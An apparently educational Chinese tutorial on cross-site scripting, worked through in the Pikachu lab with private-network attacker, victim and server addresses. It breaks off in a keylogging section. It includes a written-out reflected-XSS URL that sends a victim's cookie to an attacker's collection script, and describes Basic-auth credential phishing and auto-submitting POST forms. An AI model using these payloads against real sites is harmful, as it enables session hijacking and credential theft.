概述
反射型XSS(get)
XSS案例:盗取Cookie
反射型XSS(post)
存储型XSS
XSS案例:钓鱼攻击
XSS案例:键盘记录
DOM型XSS
DOM型XSS-X
XSS之盲打
XSS之过滤
XSS之htmlspecialchars
XSS常见防范措施
XSS之href输出
XSS之js输出
XSS常见Payload
概述
简介
XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制
攻击流程
假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中
当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行
XSS攻击类型
危害:存储型 > 反射型 > DOM型
- 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
- 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
- DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格
导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行
XSS漏洞测试流程
① 在目标上找输入点,比如查询接口、留言板
② 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
③ 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
④ 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
反射型XSS(get)
我们先输入“ '"<>6666 ” 用于测试我们的输入会不会被过滤掉,因为有特殊字符
还有我们的输入会不会被输出,输出会不会被处理
下面我们查看一下页面源码
我们的输入被原封不动地输出到了 p 标签中
下面测试我们输入的JS代码,看是否会原封不动地输出,payload如下
由于前端对输入长度做了限制,我们需要修改一下才能输入完整的payload
提交之后发现我们的payload在浏览器上成功执行了
我们查看源码可以发现,我们输入的payload嵌入了到了 p 标签里面
这又是正确的JS代码,所以被浏览器正确执行了
这是一个简单的反射型XSS,从前端输入由后端接受再输出
后端没有对这个内容进行存储
另外,这是一个GET型的XSS漏洞,一般将带有XSS的URL伪装后发送给目标即可
如果是POST型的XSS,无法直接使用URL的方式进行攻击
XSS案例:盗取Cookie
实验机器
- 攻击者192.168.171.129
- 受害者192.168.171.1
- 漏洞服务器192.168.171.133
攻击流程
先在Kali上搭建XSS后台,将pikachu项目源码放到Kali机器的/var/www/html文件夹中
启动MySQL和Apache服务
service apache2 start
service mysql start
Kali中MySQL的root账号的密码为root,可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息
访问 http://localhost/pikachu ,访问管理工具里的XSS后台,初始化数据库
看到下面的界面就是成功了
然后进入登录界面、登录
如果碰到连不上数据库的情况,可以尝试执行下面的命令
# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to 'root'@'%' identified by 'root';
# 刷新权限
flush privileges;
# 退出MySQL shell
quit
修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php,将IP地址改为漏洞服务器的地址
cookie.php用于接收受害者的cookie,然后将页面重定向到漏洞服务器的index页面,我们构造的Payload如下
由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie
http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
反射型XSS(post)
我们登录一下,默认账号密码是admin 123456
这里是以POST的方式提交的,参数内容不会出现在URL中,可以抓包看一下
这时候我们不能直接把我们的恶意代码嵌入到URL中
攻击思路如下
我们需要自己搭一个恶意站点,然后在网站上放一个post表单
将存放POST表单的链接发送给受害者,诱导受害者点击
这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的
实验机器:
攻击者192.168.171.129
受害者192.168.171.1
漏洞服务器192.168.171.133
这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件
我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址
post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://192.168.171.129/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie
存储型XSS
存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害
我们试着在皮卡丘平台上的XSS上留言,看看是否有什么过滤机制
我们发现我们的留言会一直存在,而且从表现上我们输入的内容直接输出了
下面通过源码观察
我们输入的东西,也直接输出在 p 标签中,看起来没有经过任何转义和处理
下面输入下面的Payload进行测试
成功弹窗
XSS案例:钓鱼攻击
我们这里用一个Basic认证去做这个钓鱼攻击
我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时
这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部
这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
实验机器
攻击者192.168.171.129
受害者192.168.171.1
漏洞服务器192.168.171.133
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框
修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址
构造的Payload如下
当用户访问这个留言板时,会出现下面的认证框
上面已经提示密码不会发给正在浏览的网站,如果用户不注意还是可能上当
XSS案例:键盘记录
实验前先了解一下跨域
什么是跨域
当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域
我们把不同域之间请求数据的操作,称为跨域操作
跨域-同源策略
为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:
两个不同域之间不能使用JS进行互相操作
比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象
如果想要跨域操作,则需要管理员进行特殊配置
比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址
下面的标签跨域加载资源(资源类型时有限制的)是不受同源策略限制的